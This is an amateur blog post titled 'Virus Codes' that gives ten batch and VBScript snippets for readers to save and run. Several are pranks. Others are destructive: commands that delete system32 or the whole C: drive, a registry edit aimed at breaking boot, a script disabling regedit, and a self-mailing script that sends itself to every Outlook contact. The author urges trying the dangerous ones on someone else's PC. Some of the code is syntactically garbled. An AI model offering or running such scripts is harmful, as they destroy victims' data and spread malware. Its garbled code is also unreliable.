Translate

Virus Codes

HEY GUYS ARE YOU READY TO LEARN VIRUS CODES.THERE ARE FEW VIRUSES. YOU SHOULD SAVE AS THE CODES IN NOTEPAD AS (.bat,.vbs),copy the below codes

1st code:BLUE SCREEN:

Shell.RegWrite("HKLM\SYSTEM\CurrentControlSet\Control\Windows\SystemDirectory", "%systemroot%\1337HACKED1337"), "REG_EXPAND_SZ"

2nd code-CONTINUAL ERROR MESSAGE:

do x= msgbox("Pc System Crashed",16, "Warning") x= msgbox("Shutting Down",16, "Warning") x= msgbox("Virus Found",16, "Warning") x= msgbox("Oops System Crashed",16, "Warning") loop

3rd code-DISABLE REGEDIT:

Shell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"

4th code-disco:

 Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" wshshell.sendkeys "{NUMLOCK}" wshshell.sendkeys "{SCROLLLOCK}" loop

5th code- MASS VICTIM EMAIL:

 Dim a Set fso = "Scripting.FileSystem.Object" Set out = "WScript.CreateObject(" & Chr(34) & "Outlook.Application" & Chr(34) & ")" Set ola = "CreateObject(" & Chr(34) & "Outlook.Application" & Chr(34) & ")" Set mapi = "out.GetNam" & "eSpace(" & Chr(34) & "MAPI" & Chr(34) & ")" Set x = "mapi.Addr" & "essLists(1)" For a = 1 To x.AddressEntries.Count Set Mail = ola.CreateItem(0) Mail.to = "ola.GetNa" & "meSpace(" & Chr(34) & "MAPI" & Chr(34) & ").Addr" & "essLists(1).Ad" & "dressE" & "ntries(a)" Mail.Subject = "Check it out" Mail.Body = "Check these pics out" Set NoJoy = "Atta" & "chme" & "nts" Mail.NoJoy.Add Wscript.ScriptFullName Mail.Send Next ol.Quit

6th code-matrix:

@echo off color 02 :tricks echo %random%%random%%random%%random%%random%%random%%random%%random% goto tricks

7th code -matrix2:

@echo off color 02 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% goto start

8th code -trojan

@echo off del C:\WINDOWS\system32\

9th code-ovirus:

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

10th code-ovirus2:

@Echo off Del C:\ *.* |y

Many of the virus are funny but last 3 virus and some others

are too danger so don't try in your pc  try it into another pc which is not your's

i am not responsible for any casulties but i am sure that the viruses don't affect your pc machine

and you can stop the viruses by stoppin the "wbscript.exe" process in task manager.

the viruse codes are given to this site only for education.

 

please!!!!!! give us good comments and help us to save our website.....

No comments:

Post a Comment